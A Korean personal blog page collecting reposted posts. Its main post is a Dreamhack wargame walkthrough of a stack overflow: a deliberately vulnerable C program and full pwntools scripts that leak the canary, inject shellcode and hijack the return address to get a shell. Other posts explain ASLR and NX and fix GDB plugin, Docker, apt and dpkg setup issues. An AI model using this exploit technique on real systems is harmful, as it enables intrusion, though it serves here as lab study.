블로그 이미지

wtdsoul

,

https://3omh4.tistory.com/entry/systemhacking-Exploit-tech-Return-to-Shellcode#%EB%AC%B-%EC%A-%-C%--%ED%-C%-C%EC%--%--

https://learn.dreamhack.io/64#2

 

로그인 | Dreamhack

 

dreamhack.io

몰랐는데 문제풀이 전에 설명이 있는 형태였구나... 잘 만들어져 있네

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
 
#include <stdio.h>
#include <unistd.h>
 
int main() {
  char buf[0x50];
  
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
         
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  
  return 0;
}

다음 분석 내용을 보기 전 어떤 취약점이 있을지 찾아본다. 우선 buf의 크기는 0x50으로 설정되어 있다. 하지만 read(0, buf, 0x100)을 보면 buf 부분에 0x50보다 큰 0x100을 입력할 수 있다. 따라서 버퍼오버플로우가 가능할 수 있을 것 같다. 또 gets 함수에서도 buf에 값을 입력하는데 gets함수는 입력하는 문자열의 길이를 확인하지 않기 때문에 여기서도 버퍼오버플로우가 가능하다.

본 예제에서는 친절하게 buf의 주소와 buf와 rbp의 차이, 즉 buf에서 SFP까지의 거리를 알려준다.

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
        (char*)__builtin_frame_address(0) - buf);

실제로 다운로드 받은 파일 및 C코드는 미세하게 내용이 다른 것을 확인 

 

취약점 탐색

1. buf의 주소

이 예제에서는 실습의 편의를 위해 buf 의 주소 및 rbp 와 buf 사이의 주소 차이를 알려줍니다.

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
        (char*)__builtin_frame_address(0) - buf);
2. 스택 버퍼 오버플로우

코드를 살펴보면 스택 버퍼인 buf 에 총 두 번의 입력을 받습니다. 그런데 두 입력 모두에서 오버플로우가 발생한다는 것을 알 수 있습니다.

char buf[0x50];

read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

이 취약점들을 이용해서 셸을 획득해야 합니다.
 

익스플로잇 시나리오🎬

1. 카나리 우회

두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료됩니다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 합니다.

첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것입니다.

카나리 릭🦜

스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야합니다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것입니다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해봅시다.

 

익스플로잇🎮

카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게할 수 있습니다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있습니다. 전체 익스플로잇은 다음 장에서 소개합니다.

Return to Shellcode

 

p = process("./r2s")
 
p.recvuntil("buf:")
buf_addr = int(p.recvline()[:-1],16) # 2의 과정
slog("Address of buf", buf_addr)
 
p.recvuntil("$rbp:")
buf2sfp = int(p.recvline())			# 3의 과정 - buf부터 sfp까지의 거리
buf2cnry = buf2sfp - 0x8			# 3의 과정 - buf부터 카나리까지의 거리
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
 
payload = b"a" * (buf2cnry + 1)		# 4의 과정 - 카나리릭( +1은 카나리의 널바이트 덮기 위해서)
 
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))
slog("Canary", canary)
 
sh = asm(shellcraft.sh())			# 5의 과정 - 쉘코드
payload = sh.ljust(buf2cnry, b"A") + p64(canary) + b"B"*0x8 + p64(buf_addr)
									# 5의 과정 - 페이로드 작성
p.sendlineafter("Input:", payload)	# 5의 과정 - 쉘획득
 
p.interactive()
from pwn import *
 
def slog(name, addr):
  return success(": ".join([name, hex(addr)]))
 
 
#context.log_level = 'debug'
context.arch = "amd64"
 
p = process("./r2s")
e = ELF("./r2s")
 
shellcode = asm(shellcraft.sh())
 
 
# Get buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
 
 
# Canary Leak
payload = b'A' * 0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
 
slog("buf", buf)
slog("canary", canary)
 
 
# BOF
payload = shellcode
payload += b'A' * (88 - len(shellcode))
payload += p64(canary)
payload += b"A" * 8
payload += p64(buf)
 
p.sendlineafter("Input: ", payload)
 
p.interactive()
블로그 이미지

wtdsoul

,

https://3omh4.tistory.com/entry/systemhacking-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95-Mitigation-NX-ASLR

 

[System][Dreamhack] 메모리 보호기법 Mitigation: NX & ASLR

지난 글(Return to shellcode)를 보면 쉘을 딸 수 있었던 이유는 다음과 같다. return addr을 임의의 주소로 덮기 가능 → canary 도입 ⇒ canary leak 으로 우회 버퍼의 주소 알아내기 가능 버퍼안의 쉘코드 실

3omh4.tistory.com

요약

  1. return addr을 임의의 주소로 덮기 가능 → canary 도입 ⇒ canary leak 으로 우회 가능
  2. 버퍼의 주소 알아내기 가능 → ASLR 도입
  3. 버퍼안의 쉘코드 실행 가능 → NX-bit 도입

ASLR ( Address Space Layout Randomization)

바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호기법이다. ASLR이 꺼져있으면 다음과 같이 매 실행마다 buf의 주소가 같다.

 

ASLR on/off 확인

$ cat /proc/sys/kernel/randomize_va_space
2

cat /proc/sys/kernel/randomize_va_space 명령어를 입력했을 때 0, 1, 2의 값이 출력될 수 있다. 값에 따라 적용되는 영역은 다음과 같다.

  • 0 : No ASLR = ASLR을 적용하지 않음
  • 1 : Conservative Randomization = 스택, 힙, 라이브러리, vdso 등에 ASLR 적용
  • 2 : Conservative Randomization + brk = 스택, 힙, 라이브러리, vdso 등의 영역 + brk로 할당한 영역

ASLR 단계에 따른 주소 확인

단계에 따라 스택, 힙, 라이브러리, 라이브러리 매핑 주소, 코드 영역의 주소가 랜덤한지 아닌지 확인해보자. 예제코드는 아래와 같다.

// Compile: gcc addr.c -o addr -ldl -no-pie -fno-PIE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
  char buf_stack[0x10]; // 스택 버퍼
  char *buf_heap = (char *)malloc(0x10);  // 힙 버퍼
 
  printf("buf_stack addr: %p\n", buf_stack);
  printf("buf_heap addr: %p\n", buf_heap);
  printf("libc_base addr: %p\n", *(void **)dlopen("libc.so.6", RTLD_LAZY)); // 라이브러리 주소
  printf("printf addr: %p\n", dlsym(dlopen("libc.so.6", RTLD_LAZY), "printf")); // 라이브러리 함수의 주소
  printf("main addr: %p\n", main); // 코드 영역의 함수 주소
}

 

매 실행마다 buf의 주소, 라이브러리 주소, 라이브러리 매핑 주소가 달라진다. 이때 힙영역의 주소는 동일한데 이는 malloc이 호출될 때 상황에 따라 아래와 같이 분기하는데 brk로 syscall을 호출해 메모리를 확보했기 때문(brk영역은 ASLR값이 2일때 적용됨)으로 보인다. 자세한 내용은 다음에.. 정리하겠다..

https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/

 

Syscalls used by malloc.

Having landed on this page, you should know malloc uses syscalls to obtain memory from the OS. As shown in the below picture malloc invokes either brk or mmap syscall to obtain memory. brk: brk obt…

sploitfun.wordpress.com

 

스택 영역의 buf_stack, 힙 영역의 buf_heap, 라이브러리 함수의 printf, 코드 영역의 함수 main, 라이브러리 매핑 주소의 libc_base를 보면 특징이 있다.

  • 코드 영역(main)을 제외한 다른 영역의 주소는 매번 바뀐다.
    • 변수나 함수, 라이브러리의 주소는 매번 바뀌기 때문에 바이너리를 실행하기 전에 해당 영역들의 주소를 예측할 수 없다.
  • libc_base, printf의 하위 12비트(비트임 바이트 아님)값은 변경되지 않는다
    • 리눅스는 파일을 페이지(page) 단위로 임의 주소로 mapping
    • 페이지 크기인 12비트이하의 주소는 바뀌지 않는다.
      • 페이지는 일반적으로 4KB로 4KB = 2^12이므로 하위 12비트는 바뀌지 않는 것이다.
  • libc_base와 printf의 주소 차이는 항상 동일
    • 라이브러리의 시작주소부터 다른 심볼들까지의 거리(offset)은 항상 동일
    • libc_base + printf offset(0x64f00) = printf addr

NX - No eXecute

코드 실행 가능한 메모리 영역과 쓰기 가능한 메모리 영역을 분리하는 보호기법이다. 코드 영역에 쓰기 권한이 있으면 코드를 수정해 원하는 코드를 실행할 수 있고, 스택이나 데이터 영역에 실행 권한이 있으면 입력으로 쉘코드를 주입해 쉘을 딸 수 있다.

NX bit는 컴파일러 옵션(-zexecstack : 스택에 실행권한 부여)을 통해 바이너리에 적용할 수 있고, NX bit가 적용된 바이너리는 각 메모리 영역에 필요한 권한만 부여받을 수 있다. gdb의 vmmap으로 NX bit 적용 전 후 메모리 맵을 비교하면, NX bit 적용된 바이너리는 코드영역 외에 실행권한이 없는 것을 알 수 있다. NX bit 적용되지 않은 바이너리는 스택, 힙, 데이터 영역에도 실행 권한이 존재한다.

 

 

'시스템' 카테고리의 다른 글

Nebula Level 10 (Race Condition)  (0) 2025.02.03
Exploit tech : Return to Shellcode (펌)  (0) 2025.02.02
onone_gadget 설치 및 사용법 (펌)  (0) 2025.02.02
peda, pwndbg, gef 같이 쓰기 (펌)  (0) 2025.02.02
Dreamhack UAF (진행 중)  (0) 2025.01.31
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

https://infosecwriteups.com/pwndbg-gef-peda-one-for-all-and-all-for-one-714d71bf36b8

 

Pwndbg + GEF + Peda — One for all, and all for one

Install all plugins at the same time and switch with a simple command.

infosecwriteups.com

There is no doubt, GDB is an amazing tool that almost every single cyber security professional, trainee, hobbyist and researcher has used it before. It is the swiss army knife of process debugging however there is one problem. Vanilla GDB sucks in terms of user experience.

This is the reason behind the development of many plug-ins that can make the process of reversing and debugging so much easier. Namely, three of the most popular are:

Pwndbg: https://github.com/pwndbg/pwndbg

Peda: https://github.com/longld/peda

GEF: https://github.com/hugsy/gef

Of course, all of them come with their pros and cons. Maybe for the task, maybe the features, or even the interface. We all have our preferences. Personally, I prefer Pwndbg’s interface more, but seriously Peda’s cyclic pattern creation and offset search functionality are extremely handy.

Still, I hate having to manually change or replace the .gdbinit file every time I want to use a different plugin. It’s not about the time and effort, but more because it’s a distraction from my primary task, that I would like to avoid.

Therefore, the purpose of this blog post is to describe a very simple way of switching between plugins in a single command.

TL;DR;

I have created a bash script that executes the instructions below in one command so for a rapid setup clone the repository below and run install.sh .

Installation

Initially, the plugins need to be downloaded and set up. As such follow the commands below:

Pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
cd ..
mv pwndbg ~/pwndbg-src
echo "source ~/pwndbg-src/gdbinit.py" > ~/.gdbinit_pwndbg

Peda

git clone https://github.com/longld/peda.git ~/peda

GEF

wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

Combining all in One

Inherently, these plugins modify the .gdbinit file and are launched along with gdb. Now, here is the trick, what if we had a .gdbinit file that contains configurations for all plugins so that they are conditionally activated based on the gdb command? This is exactly what we will be doing.

Open your .gdbinit file, delete any contents and paste the following configuration:

define init-peda
source ~/peda/peda.py
end
document init-peda
Initializes the PEDA (Python Exploit Development Assistant for GDB) framework
end

define init-pwndbg
source ~/.gdbinit_pwndbg
end
document init-pwndbg
Initializes PwnDBG
end

define init-gef
source ~/.gdbinit-gef.py
end
document init-gef
Initializes GEF (GDB Enhanced Features)
end

Additionally, create the following 3 files in your /usr/bin folder:

First create /usr/bin/gdb-peda and paste the following:

#!/bin/sh
exec gdb -q -ex init-peda "$@"

Then /usr/bin/gdb-pwndbg

#!/bin/sh
exec gdb -q -ex init-pwndbg "$@"

And lastly, /usr/bin/gdb-gef

#!/bin/sh
exec gdb -q -ex init-gef "$@"

The last step is to give executable permissions to all three of the files created previously. For that, run:

chmod +x /usr/bin/gdb-*

That was all! You see? Simple.

Now you can test it by running either one of the three commands:

gdb-peda
gdb-pwndbg
gdb-gef

Hope this helps folks. Till next time.

'시스템' 카테고리의 다른 글

메모리 보호기법 Mitigation: NX & ASLR (펌)  (0) 2025.02.02
onone_gadget 설치 및 사용법 (펌)  (0) 2025.02.02
Dreamhack UAF (진행 중)  (0) 2025.01.31
pwnable.kr UAF (리마인드)  (0) 2025.01.31
protostar net3  (0) 2025.01.31
블로그 이미지

wtdsoul

,

https://league-cat.tistory.com/347

 

도커 설치 후 도커 명령어 실행 에러 Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the dock

Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? 위와 같은 명령어가 뜨면 docker service가 실행이 안되어있는것이다. $sudo systemctl status docker 상태를 확인해 봐라 stop일 것

league-cat.tistory.com

 

Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

위와 같은 명령어가 뜨면 docker service가 실행이 안되어있는것이다.

$sudo systemctl status docker  // 상태 stop 확인

아래 명령어를 입력하여 실행을 진행해보자

$sudo systemctl start docker
$sudo systemctl enable docker

확인

블로그 이미지

wtdsoul

,

https://sourcebox.dev/blog/20240102/

새로 결제한 노트북님 빨리 와주십쇼. 빡세네 빡세

 

apt-get install 오류

데비안OS 터미널에 들어가서보니 vi 만 있지 vim 은 없어서, apt-get install 으로 설치하려 했으나 알 수 없는 disc 를 찾는 메시지만 무한반복되어 나왔다.

$ apt-get install vim

패키지 목록을 읽는 중입니다... 완료
의존성 트리를 만드는 중입니다... 완료
상태 정보를 읽는 중입니다... 완료        
The following additional packages will be installed:
  vim-runtime
제안하는 패키지:
  ctags vim-doc vim-scripts
다음 새 패키지를 설치할 것입니다:
  vim vim-runtime
0개 업그레이드, 2개 새로 설치, 0개 제거 및 0개 업그레이드 안 함.
0 바이트/8,592 k바이트 아카이브를 받아야 합니다.
이 작업 후 41.0 M바이트의 디스크 공간을 더 사용하게 됩니다.
계속 하시겠습니까? [Y/n] Y
Media change: please insert the disc labeled
 'Debian GNU/Linux 12.4.0 _Bookworm_ - Official amd64 DVD Binary-1 with firmware 20231210-17:57'
in the drive '/media/cdrom/' and press [Enter]

아마도 내가 데비안OS 설치시에 3.8GB의 인터넷이 필요없는 ISO이미지를 사용했었다보니, apt-get 실행시 바라보는 저장소 정보가 마운트된 ISO 이미지를 바라보게 되어있는 것 같았다.

Media change: please insert the disc labeled
 'Debian GNU/Linux 12.4.0 _Bookworm_ - Official amd64 DVD Binary-1 with firmware 20231210-17:57'
in the drive '/media/cdrom/' and press [Enter]

sources.list

sources.list는 Debian 계열의 Linux 시스템에서 사용되는 APT(Advanced Package Tool) 패키지 관리 시스템의 설정 파일 중 하나이다. 이 파일은 시스템에서 어떤 패키지 저장소(Repository)를 사용할 것인지를 정의한다. 이 파일을 열어보니, deb cdrom: 정보가 맨 상단에 있다.

# /etc/apt/sources.list
deb cdrom:[Debian GNU/Linux 12.4.0 _Bookworm_ - Official amd64 DVD Binary-1 with firmware 20231210-17:57]/ bookworm main non-free-firmware

deb http://ftp.kaist.ac.kr/debian/ bookworm main non-free-firmware
deb-src http://ftp.kaist.ac.kr/debian/ bookworm main non-free-firmware

최초 데비안OS 설치시에나 필요했던 저장소이니, 맨 위의 deb cdrom: 정보를 # 으로 주석처리하면 된다. 그러고나면 apt-get install 이 잘 실행된다.

# deb cdrom:[Debian GNU/Linux 12.4.0 _Bookworm_ - Official amd64 DVD Binary-1 with firmware 20231210-17:57]/ bookworm main non-free-firmware
 
 

 

블로그 이미지

wtdsoul

,

https://doqtqu.tistory.com/178

 

[ubuntu] dpkg was interrupted Error 해결 방법

E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem. dpkg가 올바르게 구성되지 않아서 발생하는 오류로, 오류 메세지에 나온 커맨드를 그대로 실행하면 해결할 수 있다. sudo

doqtqu.tistory.com

 

dpkg가 올바르게 구성되지 않아서 발생하는 오류로,

오류 메세지에 나온 커맨드를 그대로 실행하면 해결할 수 있다.

sudo dpkg --configure -a

 

만약 해결되지 않으면 커맨드 입력 전에 $sudo apt-get install -f를 실행해준다.

sudo apt-get install -f
sudo dpkg --configure -a

 

다만, 실행 중 아래와 같은 오류가 발생할 때가 있는데,

 

/usr/sbin/dkms: fork: Cannot allocate memory

 

메모리 부족 문제이므로, 서버 내부의 메모리 사용량 확인이 필요하다.

만약, AWS, Naver Cloud Platform 등과 같은 클라우드 플랫폼을 사용 중이라면 해당 오류 수정을 위해 일시적으로라도 인스턴스 유형을 더 높은 걸로 변경해주면 된다.

 

 

블로그 이미지

wtdsoul

,

https://nuggy875.tistory.com/58

 

Ubuntu 우분투 인터넷 끊김 현상

Ubuntu 우분투 서버를 켜놓고 카페나 외부에서 코딩하는 경우가 많은데, 간헐적으로 Ubuntu 서버 인터넷이 끊겨 난감한 상황이 한 둘 있었다. 이에 해결책을 실행하였고, 앞으로 끊김 현상이 생기는

nuggy875.tistory.com

 

터미널에서 아래 파일을 root권한으로 열고
sudo vim /etc/default/avahi-daemon

아래와 같이 AVAHI_DAEMON_DETECT_LOCAL 의 값을 0으로 설정한다.
AVAHI_DAEMON_DETECT_LOCAL=0

그리고 reboot 이 아닌 sudo shutdown now로 적용을 해주었다.
그렇게 하니 정상적으로 반영되었다.. 이럴수가???

 

이렇게 적용함에도 문제가 발생한다면 재설치를 추천드립니다. (에휴)

블로그 이미지

wtdsoul

,